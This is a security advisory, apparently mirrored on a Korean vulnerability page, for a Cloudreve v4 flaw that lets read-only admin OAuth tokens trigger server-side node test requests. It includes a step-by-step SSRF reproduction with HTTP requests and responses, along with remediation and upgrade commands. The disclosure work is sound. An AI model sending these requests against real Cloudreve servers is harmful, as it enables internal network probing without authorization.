GHSA-v6w6-358x-2433
Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests
빠른 조치
GHSA-v6w6-358x-2433 — github.com/cloudreve/Cloudreve/v4: 아래 명령으로 수정 버전으로 올리세요.
go get github.com/cloudreve/Cloudreve/v4@v4.0.0-20260626022735-332a9d800205 상세
## Summary
Cloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.
## Impact
An attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.
## Affected version
Verified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.
## Technical details
The authenticated admin route group requires only `Admin.Read`:
```go auth := v4.Group("") auth.Use(middleware.LoginRequired()) auth.Use(middleware.RequiredScopes(types.ScopeAdminRead)) admin := auth.Group("admin", middleware.IsAdmin()) ```
The following routes are registered without `ScopeAdminWrite`:
```go node.POST("test", controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}), controllers.AdminTestSlave, ) node.POST("test/downloader", controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}), controllers.AdminTestDownloader, ) ```
By contrast, node create, update, and delete routes do require `Admin.Write`:
```go node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...) node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...) node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...) ```
`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:
```go slave, err := url.Parse(service.Node.Server) ... res, err := r.Request( "POST", routes.SlavePingRoute(slave), bytes.NewReader(bodyByte), ... ) ```
`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.
## Reproduction
The following was verified against a disposable Cloudreve instance built from the affected commit.
Prerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.
1. Obtain an OAuth access token whose scope is only:
```text openid Admin.Read ```
The returned token response contains:
```json { "token_type": "Bearer", "scope": "openid Admin.Read" } ```
2. Confirm the token cannot perform an `Admin.Write` node operation:
```http PUT /api/v4/admin/node HTTP/1.1 Authorization: Bearer <admin-read-oauth-token> Content-Type: application/json
{ "node": { "name": "deny-control", "server": "http://127.0.0.1:18080", "type": "slave", "slave_key": "poc" } } ```
Observed response:
```json { "code": 40089, "msg": "Insufficient scope: Admin.Write" } ```
3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:
```http POST /api/v4/admin/node/test HTTP/1.1 Authorization: Bearer <admin-read-oauth-token> Content-Type: application/json
{ "node": { "id": 124, "name": "ssrf-poc", "server": "http://127.0.0.1:18080", "type": "slave", "slave_key": "attacker-controlled-key" } } ```
Observed Cloudreve response:
```json { "code": 0, "msg": "" } ```
4. The canary server at `127.0.0.1:18080` received the backend request:
```http POST /api/v4/slave/ping HTTP/1.1 Host: 127.0.0.1:18080 User-Agent: Cloudreve/4.14.0 Authorization: Bearer Cr <hmac-signature>:<timestamp> X-Cr-Node-Id: 124 X-Cr-Site-Url: http://127.0.0.1:15212 Content-Length: 37
{"callback":"http://127.0.0.1:15212"} ```
This proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.
## Root cause
The route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.
## Remediation
- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes. - Consider applying SSRF validation or network egress controls to all admin-supplied test URLs. - Audit other admin test endpoints for read-scoped side effects.
이 버전이 영향받나요?
사용 중인 패키지 버전을 입력하면 즉시 평가합니다.
영향 패키지
0 수정 버전: 4.0.0-20260626022735-332a9d800205 go get github.com/cloudreve/Cloudreve/v4@v4.0.0-20260626022735-332a9d800205 0 No fixed version published yet for github.com/cloudreve/Cloudreve/v3 (go modules). Pin to a known-safe version or switch to an alternative.